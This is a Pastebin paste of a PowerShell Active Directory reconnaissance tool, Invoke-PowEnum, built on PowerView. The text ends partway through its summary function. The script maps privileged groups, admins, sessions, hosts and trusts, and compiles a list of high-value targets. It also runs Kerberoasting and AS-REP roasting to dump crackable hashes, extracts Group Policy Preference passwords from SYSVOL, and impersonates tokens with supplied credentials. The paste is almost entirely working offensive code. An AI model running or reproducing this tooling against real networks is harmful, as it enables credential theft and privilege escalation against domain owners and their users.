SHARE
TWEET

carecarecarepoopoo

a guest Apr 1st, 2019 126 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #requires -version 2
  2.  
  3. function Invoke-PowEnum {
  4.  
  5. [CmdletBinding(DefaultParameterSetName="FQDN")]
  6. Param(
  7.     [Parameter(Position = 0)]
  8.     [String]
  9.     $FQDN,
  10.    
  11.     [Parameter(Position = 1)]
  12.     [ValidateSet('Basic', 'Roasting', 'LargeEnv', 'Special', 'SYSVOL', 'Forest')]
  13.     [String]
  14.     $Mode = 'Basic',
  15.  
  16.     [Parameter(ParameterSetName = 'Credential')]
  17.     [Management.Automation.PSCredential]
  18.     [Management.Automation.Credential()]
  19.     $Credential = [System.Management.Automation.PSCredential]::Empty,
  20.    
  21.     [Parameter(Position = 3)]
  22.     [Switch]
  23.     $NoExcel
  24. )
  25.  
  26.     #Supprese Errors and Warnings
  27.     $ErrorActionPreference = 'Continue'
  28.     $WarningPreference = "SilentlyContinue"
  29.  
  30.     Write-Host "Current Date/Time: $(Get-Date)" -ForegroundColor Cyan
  31.    
  32.     if ($NoExcel -eq $False){
  33.         try{$Excel = New-Object -ComObject excel.application}
  34.         catch{Write-Host "Is Excel Installed? Disabling Excel Output";$NoExcel = $True}
  35.     }
  36.    
  37.     #Start Stopwatch
  38.     $stopwatch = [system.diagnostics.stopwatch]::startnew()
  39.  
  40.     $Summary = $null
  41.  
  42.     #Uses PowerView to create a new "runas /netonly" type logon and impersonate the token.
  43.     if ($Credential -ne [System.Management.Automation.PSCredential]::Empty){
  44.         try{
  45.             $NetworkCredential = $Credential.GetNetworkCredential()
  46.             $Domain = $NetworkCredential.Domain
  47.             $UserName = $NetworkCredential.UserName
  48.             Write-Host "Impersonate user: $Domain\$Username | " -NoNewLine
  49.             $Null = Invoke-UserImpersonation -Credential $Credential
  50.             Write-Host "Success" -ForegroundColor Green
  51.         }catch{Write-Host "Error: $_" -ForegroundColor Red; Return}
  52.     }
  53.    
  54.    
  55.     Write-Host "Enumeration Domain: " -ForegroundColor Cyan -NoNewLine
  56.    
  57.     #Grab Local Domain
  58.     if ($FQDN) {Write-Host "$FQDN" -ForegroundColor Cyan}
  59.     elseif (!$FQDN) {
  60.             $FQDN = (Get-Domain).Name
  61.             Write-Host "$FQDN" -ForegroundColor Cyan
  62.     }
  63.    
  64.     #If the domain is still empty
  65.     if (!$FQDN -or $FQDN -eq "") {Write-Host "Unable to retrieve domain (make sure the FQDN, username, and password are correct), exiting..." -ForegroundColor Red; Return}
  66.    
  67.     #Quick check, if no DCs then something is wrong
  68.     if ((Get-DomainController -Domain $FQDN) -eq $Null){Write-Host "Unable to retrieve domain controllers (make sure the FQDN, username, and password are correct), exiting..." -ForegroundColor Red; Return}
  69.  
  70.     #Set up spreadsheet arrary and count
  71.     $script:ExportSheetCount = 1
  72.     $script:ExportSheetFileArray = @()
  73.  
  74.     Write-Host "Enumeration Mode: $Mode" -ForegroundColor Cyan
  75.  
  76.     if ($Mode -eq 'Basic') {
  77.         $script:ExportSheetCount = 1
  78.         $script:ExportSheetFileArray = @()
  79.         PowEnum-DAs
  80.         PowEnum-EAs
  81.         PowEnum-BltAdmins
  82.         PowEnum-DCLocalAdmins
  83.         PowEnum-SchemaAdmins
  84.         PowEnum-AccountOperators
  85.         PowEnum-BackupOperators
  86.         PowEnum-PrintOperators
  87.         PowEnum-ServerOperators
  88.         PowEnum-GPCreatorsOwners
  89.         PowEnum-CryptographicOperators
  90.         PowEnum-AdminCount
  91.         PowEnum-GroupManagers
  92.         PowEnum-Users
  93.         PowEnum-Groups
  94.         PowEnum-CreateSummary
  95.         PowEnum-ExcelFile -SpreadsheetName Basic-UsersAndGroups
  96.        
  97.         $script:ExportSheetCount = 1
  98.         $script:ExportSheetFileArray = @()
  99.         PowEnum-NetSess
  100.         PowEnum-DCs
  101.         PowEnum-IPs
  102.         PowEnum-Subnets
  103.         PowEnum-DNSRecords
  104.         PowEnum-WinRM
  105.         PowEnum-FileServers
  106.         PowEnum-Computers
  107.         PowEnum-ExcelFile -SpreadsheetName Basic-HostsAndSessions
  108.     }
  109.     elseif ($Mode -eq 'Roasting') {
  110.         try {
  111.             PowEnum-ASREPRoast
  112.         }catch {Write-Host "Error: $_" -ForegroundColor Red}
  113.         PowEnum-Kerberoast
  114.         PowEnum-ExcelFile -SpreadsheetName Roasting
  115.     }
  116.     elseif ($Mode -eq 'LargeEnv') {
  117.         $script:ExportSheetCount = 1
  118.         $script:ExportSheetFileArray = @()
  119.         PowEnum-DAs
  120.         PowEnum-EAs
  121.         PowEnum-BltAdmins
  122.         PowEnum-DCLocalAdmins
  123.         PowEnum-SchemaAdmins
  124.         PowEnum-AccountOperators
  125.         PowEnum-BackupOperators
  126.         PowEnum-PrintOperators
  127.         PowEnum-ServerOperators
  128.         PowEnum-GPCreatorsOwners
  129.         PowEnum-CryptographicOperators
  130.         PowEnum-GroupManagers
  131.         PowEnum-CreateSummary
  132.         PowEnum-ExcelFile -SpreadsheetName Large-Users
  133.        
  134.         $script:ExportSheetCount = 1
  135.         $script:ExportSheetFileArray = @()
  136.         PowEnum-NetSess
  137.         PowEnum-DCs
  138.         PowEnum-Subnets
  139.         PowEnum-DNSRecords
  140.         PowEnum-WinRM
  141.         PowEnum-FileServers
  142.         PowEnum-ExcelFile -SpreadsheetName Large-HostsAndSessions
  143.     }
  144.     elseif ($Mode -eq 'Special') {
  145.         PowEnum-Disabled
  146.         PowEnum-PwNotReq
  147.         PowEnum-PwNotExp
  148.         PowEnum-PwNotExpireNotReq
  149.         PowEnum-SmartCardReq
  150.         PowEnum-SmartCardReqPwNotReq
  151.         PowEnum-SmartCardReqPwNotExp
  152.         PowEnum-ExcelFile -SpreadsheetName Special
  153.     }
  154.     elseif ($Mode -eq 'SYSVOL') {
  155.         try {
  156.             PowEnum-GPPPassword
  157.         }catch {Write-Host "Error: $_" -ForegroundColor Red}
  158.         PowEnum-SYSVOLFiles
  159.         PowEnum-LocalGroupChanges
  160.         PowEnum-ExcelFile -SpreadsheetName SYSVOL
  161.     }
  162.     elseif ($Mode -eq 'Forest') {
  163.         PowEnum-DomainTrusts
  164.         PowEnum-ForeignUsers
  165.         PowEnum-ForeignGroupMembers
  166.         PowEnum-GPPPassword-Forest
  167.         PowEnum-ExcelFile -SpreadsheetName SYSVOL
  168.     }
  169.     else {
  170.         Write-Host "Incorrect Mode Selected"
  171.         Return
  172.     }
  173.  
  174.     #reverting Token
  175.     if ($Credential -ne [System.Management.Automation.PSCredential]::Empty){
  176.     try{
  177.         $NetworkCredential = $Credential.GetNetworkCredential()
  178.         $Domain = $NetworkCredential.Domain
  179.         $UserName = $NetworkCredential.UserName
  180.         Write-Host "Reverting Token from: $Domain\$Username | " -NoNewLine
  181.         $Null = Invoke-RevertToSelf
  182.         Write-Host "Success" -ForegroundColor Green
  183.     }catch{Write-Host "Error: $_" -ForegroundColor Red; Return}
  184. }  
  185.  
  186.     $script:ExportSheetCount = $null
  187.     $script:ExportSheetFileArray = $null
  188.     $Summary = $null
  189.     [System.GC]::Collect()
  190.     [System.GC]::WaitForPendingFinalizers()
  191.  
  192.     $stopwatch.Stop()
  193.     $elapsedtime = "{0:N0}" -f ($stopwatch.Elapsed.TotalSeconds)
  194.     Write-Host $("Running Time: " + $elapsedtime + "s") -ForegroundColor Cyan
  195.     Write-Host "Current Date/Time: $(Get-Date)" -ForegroundColor Cyan
  196.     Write-Host "Exiting..." -ForegroundColor Yellow
  197. }
  198.  
  199. function PowEnum-DCs {
  200.     try {
  201.         Write-Host "[ ]Domain Controllers | " -NoNewLine
  202.         $temp = Get-DomainController -Domain $FQDN | Select-Object Name, IPAddress, Domain, Forest, OSVersion, SiteName
  203.         PowEnum-ExportAndCount -TypeEnum DCs
  204.     }catch {Write-Host "Error: $_" -ForegroundColor Red}
  205. }
  206.  
  207. function PowEnum-DAs {
  208.     try {
  209.         Write-Host "[ ]Domain Admins (DA) | " -NoNewLine
  210.         $temp = Get-DomainGroupMember -Identity "Domain Admins" -Recurse -Domain $FQDN | Select-Object MemberName, GroupName, MemberDomain, MemberObjectClass
  211.         if($temp -ne $null){$script:Summary += ($temp | Select-Object *,@{N="Source";E={"DAs"}})}
  212.         PowEnum-ExportAndCount -TypeEnum DAs
  213.     }catch {Write-Host "Error: $_" -ForegroundColor Red}
  214. }
  215.  
  216. function PowEnum-EAs {
  217.     try {
  218.         Write-Host "[ ]Enterprise Admins (EA) | " -NoNewLine
  219.         $temp = Get-DomainGroupMember -Identity "Enterprise Admins" -Recurse -Domain $FQDN | Select-Object MemberName, GroupName, MemberDomain, MemberObjectClass
  220.         if($temp -ne $null){$script:Summary += ($temp | Select-Object *,@{N="Source";E={"EAs"}})}
  221.         PowEnum-ExportAndCount -TypeEnum EAs
  222.     }catch {Write-Host "Error: $_" -ForegroundColor Red}
  223. }
  224.  
  225. function PowEnum-SchemaAdmins {
  226.     try {
  227.         Write-Host "[ ]Schema Admins (SA) | " -NoNewLine
  228.         $temp = Get-DomainGroupMember -Identity "Schema Admins" -Recurse -Domain $FQDN | Select-Object MemberName, GroupName, MemberDomain, MemberObjectClass
  229.         if($temp -ne $null){$script:Summary += ($temp | Select-Object *,@{N="Source";E={"SAs"}})}
  230.         PowEnum-ExportAndCount -TypeEnum SAs
  231.     }catch {Write-Host "Error: $_" -ForegroundColor Red}
  232. }
  233.  
  234. function PowEnum-AccountOperators {
  235.     try {
  236.         Write-Host "[ ]Account Operators (AO) | " -NoNewLine
  237.         $temp = Get-DomainGroupMember -Identity "Account Operators" -Recurse -Domain $FQDN | Select-Object MemberName, GroupName, MemberDomain, MemberObjectClass
  238.         if($temp -ne $null){$script:Summary += ($temp | Select-Object *,@{N="Source";E={"AOs"}})}
  239.         PowEnum-ExportAndCount -TypeEnum AOs
  240.     }catch {Write-Host "Error: $_" -ForegroundColor Red}
  241. }
  242.  
  243. function PowEnum-BackupOperators {
  244.     try {
  245.         Write-Host "[ ]Backup Operators (BO) | " -NoNewLine
  246.         $temp = Get-DomainGroupMember -Identity "Backup Operators" -Recurse -Domain $FQDN | Select-Object MemberName, GroupName, MemberDomain, MemberObjectClass
  247.         if($temp -ne $null){$script:Summary += ($temp | Select-Object *,@{N="Source";E={"BOs"}})}
  248.         PowEnum-ExportAndCount -TypeEnum BOs
  249.     }catch {Write-Host "Error: $_" -ForegroundColor Red}
  250. }
  251.  
  252. function PowEnum-PrintOperators {
  253.     try {
  254.         Write-Host "[ ]Print Operators (PO) | " -NoNewLine
  255.         $temp = Get-DomainGroupMember -Identity "Print Operators" -Recurse -Domain $FQDN | Select-Object MemberName, GroupName, MemberDomain, MemberObjectClass
  256.         if($temp -ne $null){$script:Summary += ($temp | Select-Object *,@{N="Source";E={"POs"}})}
  257.         PowEnum-ExportAndCount -TypeEnum POs
  258.     }catch {Write-Host "Error: $_" -ForegroundColor Red}
  259. }
  260.  
  261. function PowEnum-ServerOperators {
  262.     try {
  263.         Write-Host "[ ]Server Operators (SO) | " -NoNewLine
  264.         $temp = Get-DomainGroupMember -Identity "Server Operators" -Recurse -Domain $FQDN | Select-Object MemberName, GroupName, MemberDomain, MemberObjectClass
  265.         if($temp -ne $null){$script:Summary += ($temp | Select-Object *,@{N="Source";E={"SOs"}})}
  266.         PowEnum-ExportAndCount -TypeEnum SOs
  267.     }catch {Write-Host "Error: $_" -ForegroundColor Red}
  268. }
  269.  
  270. function PowEnum-GPCreatorsOwners {
  271.     try {
  272.         Write-Host "[ ]Group Policy Creators Owners | " -NoNewLine
  273.         $temp = Get-DomainGroupMember -Identity "Group Policy Creators Owners" -Recurse -Domain $FQDN | Select-Object MemberName, GroupName, MemberDomain, MemberObjectClass
  274.         if($temp -ne $null){$script:Summary += ($temp | Select-Object *,@{N="Source";E={"GPCreatorsOwners"}})}
  275.         PowEnum-ExportAndCount -TypeEnum GPCreatorsOwners
  276.     }catch {Write-Host "Error: $_" -ForegroundColor Red}
  277. }
  278.  
  279. function PowEnum-CryptographicOperators {
  280.     try {
  281.         Write-Host "[ ]Cryptographic Operators (CO) | " -NoNewLine
  282.         $temp = Get-DomainGroupMember -Identity "Cryptographic Operators" -Recurse -Domain $FQDN | Select-Object MemberName, GroupName, MemberDomain, MemberObjectClass
  283.         if($temp -ne $null){$script:Summary += ($temp | Select-Object *,@{N="Source";E={"COs"}})}
  284.         PowEnum-ExportAndCount -TypeEnum COs
  285.     }catch {Write-Host "Error: $_" -ForegroundColor Red}
  286. }
  287.  
  288. function PowEnum-BltAdmins {
  289.     try {
  290.         Write-Host "[ ]Builtin Administrators (BA) | " -NoNewLine
  291.         $temp = Get-DomainGroupMember -Identity "Administrators" -Recurse -Domain $FQDN | Select-Object MemberName, GroupName, MemberDomain, MemberObjectClass
  292.         if($temp -ne $null){$script:Summary += ($temp | Select-Object *,@{N="Source";E={"BAs"}})}
  293.         PowEnum-ExportAndCount -TypeEnum BAs
  294.     }catch {Write-Host "Error: $_" -ForegroundColor Red}
  295. }
  296.  
  297. function PowEnum-AdminCount {
  298.     try {
  299.         Write-Host "[ ]All Users With AdminCount=1 | " -NoNewLine
  300.         $temp = Get-DomainUser -AdminCount -Domain $FQDN |
  301.             Select-Object samaccountname, description, @{N="MemberOf";E={
  302.                 $ConvertedGroupNames = ForEach-Object {$_.MemberOf | Convert-ADName -OutputType NT4 -Domain $FQDN};
  303.                 $ConvertedGroupNames -join "; "}},
  304.                 pwdlastset, admincount, distinguishedname, userprincipalname, serviceprincipalname, useraccountcontrol, iscriticalsystemobject
  305.         if($temp -ne $null){
  306.             $script:Summary += (
  307.                 $temp | Select-Object @{N="MemberName";E={$_.samaccountname}},
  308.                     @{N="MemberDomain";E={"$FQDN"}},
  309.                     @{N="Source";E={"AdminCount"}}
  310.             )
  311.         }
  312.         PowEnum-ExportAndCount -TypeEnum AdminCount
  313.     }catch {Write-Host "Error: $_" -ForegroundColor Red}
  314. }
  315.  
  316. function PowEnum-Users {
  317.     try {
  318.         Write-Host "[ ]All Domain Users (this could take a while) | " -NoNewLine
  319.         $temp = Get-DomainUser -Domain $FQDN |
  320.             Select-Object samaccountname, description, @{N="MemberOf";E={
  321.                 $ConvertedGroupNames = ForEach-Object {$_.MemberOf | Convert-ADName -OutputType NT4 -Domain $FQDN};
  322.                 $ConvertedGroupNames -join "; "}},
  323.                 pwdlastset, admincount, distinguishedname, userprincipalname, serviceprincipalname, useraccountcontrol, iscriticalsystemobject
  324.         PowEnum-ExportAndCount -TypeEnum AllUsers
  325.     }catch {Write-Host "Error: $_" -ForegroundColor Red}
  326. }
  327.  
  328. function PowEnum-Groups {
  329.     try {
  330.         Write-Host "[ ]All Domain Groups (this could take a while) | " -NoNewLine
  331.         $temp = Get-DomainGroup -Domain $FQDN | Select-Object samaccountname, admincount, description, iscriticalsystemobject,
  332.             @{N="MemberOf";E={
  333.             $ConvertedGroupNames = ForEach-Object {$_.MemberOf | Convert-ADName -OutputType NT4 -Domain $FQDN};
  334.             $ConvertedGroupNames -join "; "}}
  335.         PowEnum-ExportAndCount -TypeEnum AllGroups
  336.     }catch {Write-Host "Error: $_" -ForegroundColor Red}
  337. }
  338.  
  339. function PowEnum-Computers {
  340.     try {
  341.         Write-Host "[ ]All Domain Computers (this could take a while) | " -NoNewLine
  342.         $temp = Get-DomainComputer -Domain $FQDN | Select-Object samaccountname, dnshostname, operatingsystem, operatingsystemversion, operatingsystemservicepack, lastlogon, badpwdcount, iscriticalsystemobject, distinguishedname,
  343.                 @{N="MemberOf";E={
  344.                 $ConvertedGroupNames = ForEach-Object {$_.MemberOf | Convert-ADName -OutputType NT4 -Domain $FQDN};
  345.                 $ConvertedGroupNames -join "; "}}
  346.         PowEnum-ExportAndCount -TypeEnum AllComputers
  347.     }catch {Write-Host "Error: $_" -ForegroundColor Red}
  348. }
  349.  
  350. function PowEnum-IPs {
  351.     try {
  352.         Write-Host "[ ]All Domain Computer IP Addresses  | " -NoNewLine
  353.         $temp = Get-DomainComputer -Domain $FQDN | Resolve-IPAddress
  354.         PowEnum-ExportAndCount -TypeEnum IPs
  355.     }catch {Write-Host "Error: $_" -ForegroundColor Red}
  356. }
  357.  
  358. function PowEnum-DCLocalAdmins {
  359.     try {
  360.         Write-Host "[ ]All Domain Controller Local Admins (DCLA) | " -NoNewLine
  361.        
  362.         $temp = $null
  363.        
  364.         Get-DomainController | ForEach-Object {
  365.             $Domain_Controller_Hostname = $_
  366.            
  367.             #Get Local Admins On DC using WinNT method because the other method doesnt properly account for the local admin SID being the domain SID
  368.             $DomainController_LocalAdmin = Get-NetLocalGroupMember -Method WinNT -ComputerName $Domain_Controller_Hostname
  369.            
  370.             #If the local admin is a group and domain then recursively get all members and add to table
  371.             $DomainController_LocalAdmin_DomainGroupMembers = $DomainController_LocalAdmin |
  372.                 Where-Object {$_.IsGroup -eq $TRUE -and $_.IsDomain -eq $TRUE} |
  373.                     ForEach-Object {$_.AccountName.Substring($_.AccountName.IndexOf("\")+1)} |
  374.                         Get-DomainGroupMember -Recurse -Domain $FQDN |
  375.                             Select-Object @{N="ComputerName";E={"$Domain_Controller_Hostname"}},
  376.                                 @{N="AccountName";E={-join ($_.MemberDomain, "\", $_.MemberName)}},
  377.                                 @{N="SID";E={-join ($_.MemberSID)}},
  378.                                 @{N="IsGroup";E={"$False"}},
  379.                                 @{N="IsDomain";E={"$True"}},
  380.                                 @{N="GroupName";E={"$($_.GroupName)"}}
  381.            
  382.             #Get all local admins with an empty groupname and change the $null value to a string (prevents excel export issues)
  383.             $DomainController_LocalAdmin_DomainGroupMembers = $DomainController_LocalAdmin_DomainGroupMembers |
  384.               Select-Object ComputerName,AccountName,SID,IsGroup,IsDomain, @{
  385.                     Label = "GroupName"
  386.                     Expression = { if ($_.GroupName) { $_.GroupName } else { "No Data" } }
  387.              }
  388.            
  389.             $DomainController_LocalAdmin += $DomainController_LocalAdmin_DomainGroupMembers |
  390.                 Select-Object ComputerName, GroupName, AccountName, SID, isGroup, isDomain
  391.            
  392.             $script:Summary += ($DomainController_LocalAdmin |
  393.                 Select-Object @{N="MemberName";E={$_.AccountName.Substring($_.AccountName.IndexOf("\")+1)}},
  394.                     @{N="MemberDomain";E={$_.AccountName.Substring(0,$_.AccountName.IndexOf("\"))}},
  395.                     @{N="Source";E={"DCLocalAdmins"}}
  396.             )
  397.        
  398.             $temp += $DomainController_LocalAdmin
  399.         }
  400.        
  401.         PowEnum-ExportAndCount -TypeEnum DCLAs
  402.     }catch {Write-Host "Error: $_" -ForegroundColor Red}
  403. }
  404.  
  405. function PowEnum-Subnets {
  406.     try {
  407.         Write-Host "[ ]Domain Subnets | " -NoNewLine
  408.         $temp = Get-DomainSubnet -Domain $FQDN
  409.         PowEnum-ExportAndCount -TypeEnum Subnets
  410.     }catch {Write-Host "Error: $_" -ForegroundColor Red}
  411. }
  412.  
  413. function PowEnum-DNSRecords {
  414.     #try {
  415.         Write-Host "[ ]DNS Zones & Records | " -NoNewLine
  416.         $DnsZones = Get-DomainDNSZone -Domain $FQDN
  417.         if ($DnsZones -ne $null) {
  418.             $temp = $DnsZones | Get-DomainDNSRecord -ErrorAction SilentlyContinue
  419.         }
  420.         PowEnum-ExportAndCount -TypeEnum DNSRecords
  421.     #}catch {Write-Host ""}
  422. }
  423.  
  424. function PowEnum-NetSess {
  425.     try {
  426.         Write-Host "[ ]Net Sessions | " -NoNewLine
  427.         $temp = Get-DomainController -Domain $FQDN | Get-NetSession | ?{$_.UserName -notlike "*$"}
  428.         PowEnum-ExportAndCount -TypeEnum NetSess
  429.     }catch {Write-Host "Error: $_" -ForegroundColor Red}
  430. }
  431.  
  432. function PowEnum-WinRM {
  433.     try {
  434.         Write-Host "[ ]WinRm (Powershell Remoting) Enabled Hosts | " -NoNewLine
  435.         $temp = Get-DomainComputer -Domain $FQDN -LDAPFilter "(|(operatingsystem=*7*)(operatingsystem=*2008*))" -SPN "wsman*" -Properties dnshostname,operatingsystem,distinguishedname
  436.         PowEnum-ExportAndCount -TypeEnum WinRM
  437.     }catch {Write-Host "Error: $_" -ForegroundColor Red}
  438. }
  439.  
  440. function PowEnum-Disabled {
  441.     try{
  442.         Write-Host "[ ]Disabled Account | " -NoNewLine
  443.         $temp = Get-DomainUser -Domain $FQDN | Where-Object {$_.useraccountcontrol -eq '514'} | Select-Object samaccountname, description, pwdlastset, iscriticalsystemobject, admincount, memberof, distinguishedname
  444.         PowEnum-ExportAndCount -TypeEnum Disabled
  445.     }catch {Write-Host "Error: $_" -ForegroundColor Red}
  446. }
  447.  
  448. function PowEnum-PwNotReq {
  449.     try{
  450.         Write-Host "[ ]Enabled, Password Not Required | " -NoNewLine
  451.         $temp = Get-DomainUser -Domain $FQDN | Where-Object {$_.useraccountcontrol -eq '544'} | Select-Object samaccountname, description, pwdlastset, iscriticalsystemobject, admincount, memberof, distinguishedname
  452.         PowEnum-ExportAndCount -TypeEnum PwNotReq
  453.     }catch {Write-Host "Error: $_" -ForegroundColor Red}
  454. }
  455.  
  456. function PowEnum-PwNotExp {
  457.     try{
  458.         Write-Host "[ ]Enabled, Password Doesn't Expire | " -NoNewLine
  459.         $temp = Get-DomainUser -Domain $FQDN | Where-Object {$_.useraccountcontrol -eq '66048'} | Select-Object samaccountname, description, pwdlastset, iscriticalsystemobject, admincount, memberof, distinguishedname
  460.         PowEnum-ExportAndCount -TypeEnum PwNotExpire
  461.     }catch {Write-Host "Error: $_" -ForegroundColor Red}
  462. }
  463.  
  464. function PowEnum-PwNotExpireNotReq {
  465.     try{
  466.         Write-Host "[ ]Enabled, Password Doesn't Expire & Not Required | " -NoNewLine
  467.         $temp = Get-DomainUser -Domain $FQDN | Where-Object {$_.useraccountcontrol -eq '66080'} | Select-Object samaccountname, description, pwdlastset, iscriticalsystemobject, admincount, memberof, distinguishedname
  468.         PowEnum-ExportAndCount -TypeEnum PwNotExpireNotReq
  469.     }catch {Write-Host "Error: $_" -ForegroundColor Red}
  470. }
  471.  
  472. function PowEnum-SmartCardReq {
  473.     try{
  474.         Write-Host "[ ]Enabled, Smartcard Required | " -NoNewLine
  475.         $temp = Get-DomainUser -Domain $FQDN | Where-Object {$_.useraccountcontrol -eq '262656'} | Select-Object samaccountname, description, pwdlastset, iscriticalsystemobject, admincount, memberof, distinguishedname
  476.         PowEnum-ExportAndCount -TypeEnum SmartCardReq
  477.     }catch {Write-Host "Error: $_" -ForegroundColor Red}
  478. }
  479.  
  480. function PowEnum-SmartCardReqPwNotReq {
  481.     try{
  482.         Write-Host "[ ]Enabled, Smartcard Required, Password Not Required | " -NoNewLine
  483.         $temp = Get-DomainUser -Domain $FQDN | Where-Object {$_.useraccountcontrol -eq '262688'} | Select-Object samaccountname, description, pwdlastset, iscriticalsystemobject, admincount, memberof, distinguishedname
  484.         PowEnum-ExportAndCount -TypeEnum SmartCardReqPwNotReq
  485.     }catch {Write-Host "Error: $_" -ForegroundColor Red}
  486. }
  487.  
  488. function PowEnum-SmartCardReqPwNotExp {
  489.     try{
  490.         Write-Host "[ ]Enabled, Smartcard Required, Password Doesn't Expire | " -NoNewLine
  491.         $temp = Get-DomainUser -Domain $FQDN | Where-Object {$_.useraccountcontrol -eq '328192'} | Select-Object samaccountname, description, pwdlastset, iscriticalsystemobject, admincount, memberof, distinguishedname
  492.         PowEnum-ExportAndCount -TypeEnum SmartCardReqPwNotExp
  493.     }catch {Write-Host "Error: $_" -ForegroundColor Red}
  494. }
  495.  
  496. function PowEnum-SmartCardReqPwNotExpNotReq {
  497.     try{
  498.         Write-Host "[ ]Enabled, Smartcard Required, Password Doesn't Expire & Not Required | " -NoNewLine
  499.         $temp = Get-DomainUser -Domain $FQDN | Where-Object {$_.useraccountcontrol -eq '328224'} | Select-Object samaccountname, description, pwdlastset, iscriticalsystemobject, admincount, memberof, distinguishedname
  500.         PowEnum-ExportAndCount -TypeEnum SmartCardReqPwNotExpNotReq
  501.     }catch {Write-Host "Error: $_" -ForegroundColor Red}
  502. }
  503.  
  504. function PowEnum-ASREPRoast {
  505.     try{
  506.         Write-Host "[ ]ASREProast (John Format) | " -NoNewLine
  507.         $temp = Invoke-ASREPRoast -Domain $FQDN
  508.         PowEnum-ExportAndCount -TypeEnum ASREPRoast
  509.     }catch {Write-Host "Error: $_" -ForegroundColor Red}
  510. }
  511.  
  512. function PowEnum-Kerberoast {
  513.     try{
  514.         Write-Host "[ ]Kerberoast (Hashcat Format) | " -NoNewLine
  515.         $temp = Invoke-Kerberoast -Domain $FQDN -WarningAction silentlyContinue
  516.         PowEnum-ExportAndCount -TypeEnum Kerberoast
  517.     }catch {Write-Host "Error: $_" -ForegroundColor Red}
  518. }
  519.  
  520. function PowEnum-GPPPassword {
  521.     try{
  522.         Write-Host "[ ]GPP Password(s) | " -NoNewLine
  523.         $temp = Get-GPPPassword -Server $FQDN
  524.         PowEnum-ExportAndCount -TypeEnum GPPPassword
  525.     }catch {Write-Host "Error: $_" -ForegroundColor Red}
  526. }
  527.  
  528. function PowEnum-GPPPassword-Forest {
  529.     try{
  530.         Write-Host "[ ]GPP Password(s) [Forest] | " -NoNewLine
  531.         $temp = Get-GPPPassword -Server $FQDN -SearchForest
  532.         PowEnum-ExportAndCount -TypeEnum GPPPassword-Forest
  533.     }catch {Write-Host "Error: $_" -ForegroundColor Red}
  534. }
  535.  
  536. function PowEnum-SYSVOLFiles {
  537.     try{
  538.         Write-Host "[ ]Potential logon scripts on \\$FQDN\SYSVOL | " -NoNewLine
  539.         $temp = Find-InterestingFile -Path \\$FQDN\sysvol -Include @('*.vbs', '*.bat', '*.ps1', '.cmd') -Verbose
  540.         PowEnum-ExportAndCount -TypeEnum SYSVOLFiles
  541.     }catch {Write-Host "Error: $_" -ForegroundColor Red}
  542. }
  543.  
  544. function PowEnum-GroupManagers {
  545.     try{
  546.         Write-Host "[ ]AD Group Managers | " -NoNewLine
  547.         $temp = Get-DomainManagedSecurityGroup -Domain $FQDN
  548.         PowEnum-ExportAndCount -TypeEnum GroupManagers
  549.     }catch {Write-Host "Error: $_" -ForegroundColor Red}
  550. }
  551.  
  552. function PowEnum-FileServers {
  553.     try{
  554.         Write-Host "[ ]Potential Fileservers | " -NoNewLine
  555.         $temp = Get-DomainFileServer -Domain $FQDN | Select-Object @{Name='FileServerName';Expression={$_}}
  556.         PowEnum-ExportAndCount -TypeEnum FileServers
  557.     }catch {Write-Host "Error: $_" -ForegroundColor Red}
  558. }
  559.  
  560. function PowEnum-DomainTrusts {
  561.     try{
  562.         Write-Host "[ ]Domain Trusts | " -NoNewLine
  563.         $temp = Get-DomainTrust -Domain $FQDN
  564.         PowEnum-ExportAndCount -TypeEnum DomainTrusts
  565.     }catch {Write-Host "Error: $_" -ForegroundColor Red}
  566. }
  567.  
  568. function PowEnum-ForeignUsers {
  569.     try{
  570.         Write-Host "[ ]Foreign [Domain] Users | " -NoNewLine
  571.         $temp = Get-DomainForeignUser -Domain $FQDN
  572.         PowEnum-ExportAndCount -TypeEnum ForeignUsers
  573.     }catch {Write-Host "Error: $_" -ForegroundColor Red}
  574. }
  575.  
  576. function PowEnum-ForeignGroupMembers {
  577.     try{
  578.         Write-Host "[ ]Foreign [Domain] Group Members | " -NoNewLine
  579.         $temp = Get-DomainForeignGroupMember -Domain $FQDN
  580.         PowEnum-ExportAndCount -TypeEnum ForeignGroupMembers
  581.     }catch {Write-Host "Error: $_" -ForegroundColor Red}
  582. }
  583.  
  584. function PowEnum-ReplicationRights {
  585.     try{
  586.         Write-Host "[ ]All Users With Replication Rights (DCSync) | " -NoNewLine
  587.         $temp =
  588.         Get-ObjectACL -ResolveGUIDs | ? {
  589.             ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ObjectAceType -match 'Replication-Get')
  590.         } | Select-Object -ExpandProperty SecurityIdentifier | ConvertFrom-SID
  591.         PowEnum-ExportAndCount -TypeEnum ForeignGroupMembers
  592.     }catch {Write-Host "Error: $_" -ForegroundColor Red}
  593. }
  594.  
  595. function PowEnum-LocalGroupChanges {
  596.     try{
  597.         Write-Host "[ ]All Local Group Membership Modifications (GPO or GPP) | " -NoNewLine
  598.         $temp = Get-DomainGPOLocalGroup
  599.         PowEnum-ExportAndCount -TypeEnum LocalGroupsChanges
  600.     }catch {Write-Host "Error: $_" -ForegroundColor Red}
  601. }
  602.  
  603. function PowEnum-CreateSummary {
  604.     try{
  605.         Write-Host "[ ]Creating Summary | " -NoNewLine
  606.         $HVTList = $null
  607.         $HVTList = $script:Summary
  608.        
  609.         $NewHVTList = $null
  610.         $NewHVTList = @()
  611.         foreach ($HVTUser in $HVTList) {
  612.            
  613.             #Create object list for this specific user (other words: grab all objects (groups) related to this username)
  614.             $UserObjectList = $HVTList | Where-Object {$_.MemberName -contains $HVTUser.MemberName}
  615.             $UsernameCount = $($UserObjectList | Measure-Object).Count
  616.  
  617.             #If the new HVT List already contains this user then skip because all entries would have been added already
  618.             if ($($NewHVTList | Where-Object{$_.MemberName -eq $HVTUser.MemberName}).count -gt 0) {continue}
  619.  
  620.             #If the object is a group (not a user) then continue to next user
  621.             elseif ($HVTUser.MemberObjectClass -eq "Group") {continue}
  622.            
  623.             #If more then one entry for this user, take each unique source, join it with the groups
  624.             elseif ($UsernameCount -gt 1) {
  625.                     $GroupList = $($UserObjectList | Select-Object -Property Source -Unique)
  626.                    
  627.                     $GroupListStringTemp = $null
  628.                     $null = $GroupList | ForEach-Object {$GroupListStringTemp += $_.Source + ","}
  629.                     $GroupListStringTemp = $GroupListStringTemp.Substring(0,$GroupListStringTemp.Length-1)
  630.                    
  631.                     $CombinedUserObject = ($UserObjectList | Select-Object -First 1 MemberName,MemberDomain,@{n='Sources';e={$GroupListStringTemp}})
  632.                     $NewHVTList += $CombinedUserObject
  633.                     continue
